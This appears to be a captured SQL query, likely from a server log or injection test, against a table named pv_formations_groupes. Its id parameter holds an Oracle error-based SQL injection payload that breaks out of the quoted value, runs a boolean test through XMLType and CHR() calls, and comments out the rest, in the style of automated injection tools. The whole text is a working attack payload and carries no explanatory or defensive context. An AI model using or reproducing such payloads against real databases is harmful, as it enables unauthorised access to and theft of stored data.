SELECT *
	FROM pv_formations_groupes
	WHERE id_formation_groupe = '-7132 ')AND 3834=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||0x444271||(SELECT (CASE WHEN (3834=3834) THEN 1 ELSE 0 END) FROM DUAL)||0x394e69||CHR(62))) FROM DUAL)-- DW4c'